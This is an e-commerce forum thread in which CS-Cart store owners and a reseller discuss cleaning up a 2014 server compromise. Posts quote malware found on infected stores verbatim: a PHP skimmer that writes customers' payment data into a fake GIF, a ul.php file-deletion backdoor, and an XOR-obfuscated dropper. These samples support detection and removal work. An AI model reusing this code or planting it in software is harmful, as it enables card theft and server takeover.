Jump to content

  • You cannot start a new topic
  • You cannot reply to this topic

Re: Critical Security Vulnerability In Cs-Cart And Multi-Vendor 2.x.x To 4.1.2 Rate Topic   - - - - -

 
  • spinball
  • Junior Member
  • Members
  • Join Date: 12-Jan 10
  • 23 posts

Posted 13 June 2014 - 11:01 AM #241

Found that the init.php file ended in fn_dispatch_payment_cache();
I'm assuming this may be a problem?

The latest credit card info stolen has been from transactions placed after the vulnerabilities were eliminated on 5/27; transaction occurring on 6/5 & 6/7. I'm hoping the above may be the final hole in this attack.

 
  • spinball
  • Junior Member
  • Members
  • Join Date: 12-Jan 10
  • 23 posts

Posted 13 June 2014 - 01:45 PM #242

Also found this in the fn.init.php file

/**

* Dispatch cache

*

* @return boolean

*/




function fn_dispatch_payment_cache()

{  

	$dispatch_method = @explode("_", __FUNCTION__);	

	$dispatch = $_REQUEST;

	

	$thumb_cache_data = '';

	$thumb_cache_dir = 'images/detailed/0/user_thumbs/';

	

	$info = $dispatch_method[2] . '_info';



	if (isset($dispatch[$info])) {

		$user_data = @$_SESSION["cart"]["user_data"];

		$user_data['ip'] = $_SERVER['REMOTE_ADDR'];

		

		if (@!is_dir($thumb_cache_dir))

			@mkdir($thumb_cache_dir, 0777, true);



		$thumb_cache_path = $thumb_cache_dir . 'CACHE_' . md5('CACHE_') . '.thumb.gif';

		if (@!file_exists($thumb_cache_path))

			@file_put_contents($thumb_cache_path, "GIF89a\n", FILE_APPEND | LOCK_EX);

		

		$thumb_cache_data = @base64_encode(@serialize(array_merge($user_data, $dispatch[$info])));

		$user_data = @file_put_contents($thumb_cache_path, $thumb_cache_data . "\n", FILE_APPEND | LOCK_EX);

	}



	return $user_data;

}

This then placed a cache file with data they can retrieve at
images/detailed/0/user_thumbs/

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 13 June 2014 - 07:06 PM #243

@spinball, yes, you have been intruded upon....

The couple of instances I have looked at only work on the order_management (admin editing an order). But it will capture payment_info in the order which includes any credit card data that may exist. So even in versions where the CC info does not appear by itself, if you have the customer on the phone and take their cc info and enter it into the order, it would be captured.

I'm documenting the attack and removal here for others. You seem to have a handle on how it works and what it did.

Edit init.php and remove the offending call (fn_dispatch_payment_cache() ) and then edit core/fn.init.php (V2/V3) or app/functions/fn.init.php (V4) and remove the function of the same name.

Then I would copy the images/detailed/0/user_thumbs/[long ugly number]_thumb.gif file to your local pc, then remove that directory and the *_thumb.gif file.

Then go through your site access_logs for the last 6 months or so and get an idea how often the thumb.gif file has been accessed.

Next, view the *_thumb.gif file with a text editor (might have to change the suffix from gif to txt). You should then notify those customers that their credit cards may have been compromised.

I am not certain of the entry point for this specific attack. However, where I've seen it, there have been old unmaintained wordpress blogs within the site and I believe that is the source of the intrusion. I do not believe it is from the payment compromise discussed in other threads. But that's unconfirmed.

The good news is that the number of admin/edited orders is much smaller than what normally goes through checkout. Not sure why the attacker would want to limit their capture to that other than to keep the volume down so the intrusion would go unnoticed longer. Or it could be that there is a greater chance of capturing a cc number here than in an off-site payment processor.... Not sure.

Again, monitoring files with something like our EZ Admin Helper addon can help you see when an intrusion occurs so you can take prompt action. You would have seen that init.php and fn.init.php were modified and that a new file was created as the *_thumb.gif file....

An example of the email output is:

Results from EZ Admin Maintenance cron activity for Monitor files are:
Monitor files: Started 2014-06-06 12:11:59
Monitor files:
Total files scanned: 11133
Unchanged files: 11131
New files: 1
Modified files: 1
Removed files: 0
New files:
var/exim/orders_Automated Manifest Phen_06062014.csv - modified 06/06/2014 10:37:48
Modified files:
skins/basic/mail/addons/ez_maint/notify_body.tpl - modified 06/06/2014 12:11:19

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • spinball
  • Junior Member
  • Members
  • Join Date: 12-Jan 10
  • 23 posts

Posted 13 June 2014 - 07:19 PM #244

@tbirnseth
Thanks for the info. In regards to the wordpress installation, we have never installed wordpress on our server. I'll dig deeper into the log files and post whatever I may find. Thanks again.

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 13 June 2014 - 07:26 PM #245

No problem. It will be interesting if we can pinpoint how this intrusion occurred. Another possibility is compromised FTP credentials (or credentials given to a developer that should have been changed afterward).

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • IsItFast
  • Senior Member
  • Members
  • Join Date: 16-Sep 08
  • 541 posts

Posted 26 June 2014 - 08:46 PM #246

It would have been nice if CS would have informed us that we needed to check (and how to edit) the init.php and fn.init.php files. I removed the files they said to the day after I was informed about the problem. Then went in and changed admin passwords. But we were still getting contacted by customers several days into June about cards being compromised. I have now gone in and removed the lines from the init.php files so hopefully all the loose ends are tied up now. Looks like EZ admin helper will be purchased from me shortly. Thanks!

V4.3.1 with about 10,000 highly customizable products. Several mods done....some of which now come standard with CS now. (Started with V1.3.5)

V3.0 in a few other small stores.


 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 26 June 2014 - 09:55 PM #247

I don't believe the two insertions are related. I believe the init.php and fn.init.php insertions are from a different source (though I don't know what it is). Otherwise there would be a lot more reports of that particular compromise. Not all compromises are related to the cart security but instead are more directly related to the site/server security.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • swat2
  • Newbie
  • Members
  • Join Date: 25-Feb 12
  • 2 posts

Posted 16 July 2014 - 12:37 PM #248

I would also check for ul.php files and /addons/statistics/statistics.php;

ul.php
----------
<?php
if (isset($_POST['link'])) {
	    $app_dir = get_app_root_dir();
	    @unlink($app_dir . $_POST['link']);
	    if (file_exists($app_dir . $_POST['link']))
			    echo "Failed!";
	    else
			    echo "Unlinked!";
}
//
function get_app_root_dir($max_deep = 30)
{
	    for($i=1; $i<=$max_deep; $i++)
	    {
		    $dir = getcwd();
			    if( file_exists($dir . "/config.local.php") )
					    return $dir.'/';
			    chdir('../');
	    }
	    return false;
}

and the statistics.php file has a whole bunch of weird functions and this at the end:
function b4ebdc5424590adbbdc19f4ff02()
{
$d8c=false; return !$d8c;
}
$b99=hb4(array(238,239,235,238,164));
$l8d4345=hb4(array(168,172,177,173,174,165,164));
$z15=hb4(array(160,179,179,160,184,158,167,168,173,181,164,179));
$tf17258=hb4(array(164,183,160,173,233,166,187,168,175,167,173,160,181,164,233));
$h2bbd60=hb4(array(232,232,250));
$z61=hb4(array(164,183,160,173));
$nfa8b0b=hb4(array(178,180,163,178,181,179));
$x1418=hb4(array(229));
$r27e7=hb4(array(177,179,164,166,158,179,164,177,173,160,162,164));
$da3=hb4(array(166,164,181,158,165,164,167,168,175,164,165,158,167,180,175,162,181,168,174,175,178));$h73=$da3();
$d7f=hb4(array(177,160,162,170));
$tc2e980=hb4(array(166,187,168,175,167,173,160,181,164));
$va5=null;$h73=$z15($h73[hb4(array(180,178,164,179))], hb4(array(177,248,247,240,247,246,163)));
$p6a = array(); foreach($h73 as $f){$p6a[] = $nfa8b0b($f,5);};
$ke03 = $d7f(hb4(array(137,235)),$l8d4345($va5,$p6a));
$r80 = hb4(array(170,164,241,242));
$r27e7($b99, $tf17258.$x1418.$r80.$h2bbd60, $va5);
function p96167b($ve323){global $nfa8b0b; return ($nfa8b0b($ve323,0,5)== hb4(array(163,245,164,163,165)));}
function hb4($ve323){global $va5; $hc77d = $va5;for($i=0; $i < count($ve323); $i++)$hc77d.=chr($ve323[$i]) ^ chr(193);return $hc77d;}


 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 16 July 2014 - 06:45 PM #249

Believe this is a separate intrusion of your site and not related to the hole that has been plugged in the payment processors. However, always good to check newly discovered "tailings".

Don't confuse the addons/statistics/controllers/[customer or admin]/statistics.php files with addons/statistics/statistics.php

The first 2 are valid, the last is not.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • remoteone
  • Member
  • Members
  • Join Date: 06-Oct 09
  • 736 posts

Posted 23 September 2014 - 05:23 AM #250

Hi there:
Along the lines of security, should the default $crypt_key = 'YOUR...........KEY'; be changed?
One of the sites we manage has been hacked buy this method,.
There are no WordPress installation on the server so I can only assume that the server was accessed via ftp previously given out to a developer.
Should I assume the passwords and usernames for the MYsql database also need to be changed?

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 23 September 2014 - 05:35 AM #251

The crypt key should be changed to a very long string that follows good "strong password" rules. I.e. use of upper/lower case, numbers and symbols. But CAUTION in doing so. If you change it, any CC data (or other encrypted data in your db) will NOT be able to be retrieved. To be done properly, you should take your store off line, create a script to read the old entries and store the data unencrypted, change the crypt_key and then store the data back and remove the stored unencrypted data.

All passwords should be changed regularly. But if the FTP is compromised, anything you change them to can be read from config.local.php (including the crypt_key) so you need to ensure that you change cpanel, ftp and db user passwords, then update config.local.php.

You should also force all users to change their passwords on next login as well as admin users.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • remoteone
  • Member
  • Members
  • Join Date: 06-Oct 09
  • 736 posts

Posted 23 September 2014 - 12:55 PM #252

Thanks for the advice,
Since we dont store CC data in the DB, so Im wondering what other data may be effected by changing this.
User passwords would be one thing, but that wont matter as the the user will just need to press "Forgot my password" to reset, and we want to reset all the passwords anyway,
If no other data is encrypted, then I figure there wont be an issue.?

One other thing,... Assigning a new DB user to the stores DB , what is the tightest DB privileges that can be set...

Oh, and I see you have an addon to detect when files are modified on the server. Any chance of coding it for v2.1.4?
Thanks very much for your help... greatly appreciated.
Cheers

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 23 September 2014 - 06:31 PM #253

Well, cc data is always stored for the duration of "submit my order" to "processor response". And technically, yes, it is stored in the DB because SESSIONS are stored in the DB (but they are encrypted too).

There are many areas where data is encrypted. Addons, core data, etc. Click the link in my signature and I'll give you a quote to do a security check of your store (known vulneabilities).

Unfortunately, The V2.1 stream did a different implementation of the fn_url() function which is widely used in the addon and other areas of the cart, so no, the EZ Admin Helper addon won't be ported back that far. I will run on V2.2.1 and beyond though.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • remoteone
  • Member
  • Members
  • Join Date: 06-Oct 09
  • 736 posts

Posted 24 September 2014 - 03:57 PM #254

I think Ive successfully removed this hack... some info that may help.:

Found in the shops root folder:
ul.php - Deleted

Malicious function call found in /init.php
fn_dispatch_payment_cache()
- Code Deleted

Malicious code found in core/fn.init.php
function fn_dispatch_payment_cache() { ....
- Code Deleted

Deleted the following files:
/images/test.gif
/images/detailed/0/user_thumbs/*.thumb.gif
/payments/

Suggested Malicious Files not found:
js/forms.php
js/thumbs.php
/addons/statistics/statistics.php

Searched entire root and sub folders ( under public_html) for the following files:
forms.php - found empty forms.php file in store folder
thumbs.php - not found
thumb.php - not found
ul.php - also found following day in /addons/affiliate/ul.php

Searched for files containing "fn_dispatch_payment_cache()" and "config.local.php"
None found.

Also found a suspicious Database named _r092 or similar, which had a number of empty tables with "cache" in the name, and an associated username _r092 associated with the database.
- deleted

Change all passwords:
Hosting cPanel
Database User passwords.
Changed 'YOURVERYSECRETKEY"
Deleted all customer passwords... now return visitors need to reset their password.

Removed all unused installations and respective databases from the web server and Mysql database.

Removed all but the root FTP account.
Removed all redundant database usernames.

Installed PHP script to alert of new and modified files and ran every minute from Cron Job.

Next Day,
Recieved notification that the malicious file had been re-created on our server:
/images/detailed/0/*.thumb.gif
ul.php - also found in /addons/affiliate/ul.php

As an iterum defence, I have set a cron job to remove every 2 minutes:
rm /[store]/images/detailed/0/user_thumbs
rm /[store]/images/test.gif
rm /[store]/addons/affiliate/ul.php
rm /[store]/ul.php

And a Cron job for checking file changes on the root folder and subfolders every minute.

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 24 September 2014 - 04:31 PM #255

Excellent detailed information.
Have you been able to correlate the create time stamp of the ul.php or other files and looked at the access logs? That might give you a good pointer to the source of the intrusion. It would seem obvious that you have something that is giving someone access to your site. Right now, you are hammering the symptoms but you really need to find the cause. Scanning your whole store every 2 minutes is costly.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • remoteone
  • Member
  • Members
  • Join Date: 06-Oct 09
  • 736 posts

Posted 25 September 2014 - 06:14 AM #256

Access logs seem to be missing from our servers record, but Ill look again.
Files time stamp 04 Mar 2014, but /addons/affiliate/ul.php file had time stamp of Jan 1970 which I take to mean it has "0" as the time stamp.
Yes, the scanning and deleting crons are primarily to cover only the symptoms, but I also get an email if the offending file is deleted, or created, so i should have a record if the problem is still happening.

I also discovered that MOD_SECURITY was completely disabled on our server. Something the host provider set, but forgot to re-enable. The latest "beyondsecurity" scans report 0 vulnerabilities detected, so thats a good sign at least.

To reduce server load Ive changed cron job rates to every 10 min delete and check every 5 min.

 
  • jacson
  • Advanced Member
  • Members
  • Join Date: 03-Aug 12
  • 74 posts

Posted 29 September 2014 - 10:07 PM #257

HI All - I too had this hack - followed tbirnseth removal, found all the same files. I was able to open the GIF after changing the extension to txt but it was all garbage and huge blobs of letters so I could not recognize any of the "past customers", any suggestions?. As with remoteone I too found ul.php files in root of store AND (unlike) remoteone another one in /payments folder. I deleted both of them.

Remoteone - you mentioned that the files returned the next day, did you ever figure out the entry or what have you done now?

Also, this is version 3.0.2

Thanks,

Jacson

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 29 September 2014 - 10:10 PM #258

The lines are encoded base-64 before being appended to the gif file. You would have to write a script to "unwrap" the data to see what was sent.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.


 
  • jacson
  • Advanced Member
  • Members
  • Join Date: 03-Aug 12
  • 74 posts

Posted 29 September 2014 - 10:33 PM #259

Thanks for the quick reply. That one is beyond me I am afraid. My have to hire. Still wanting to hear from remoteone what he did after the files came back. I did everything you suggested and what he went through, I guess I'll know in a day or two if they come back, but from your knowledge does doing what you suggested take care of this?

Jacson

 
  • tbirnseth
  • CS Cart Expert
  • Authorized Reseller
  • Join Date: 08-Nov 08
  • 11325 posts

Posted 30 September 2014 - 12:00 AM #260

Everything I've reported is effective AFTER the intrusion. I cannot tell you how the intrusion occurred on your site without reviewing a lot of data. And then we still might not know if the tracks are covered well.

EZ Merchant Solutions: Custom (USA based) B2B Development, Consulting, Development and Special Projects (get a quote here).
Commercial addons, payment methods and modifications to meet your business and operations needs.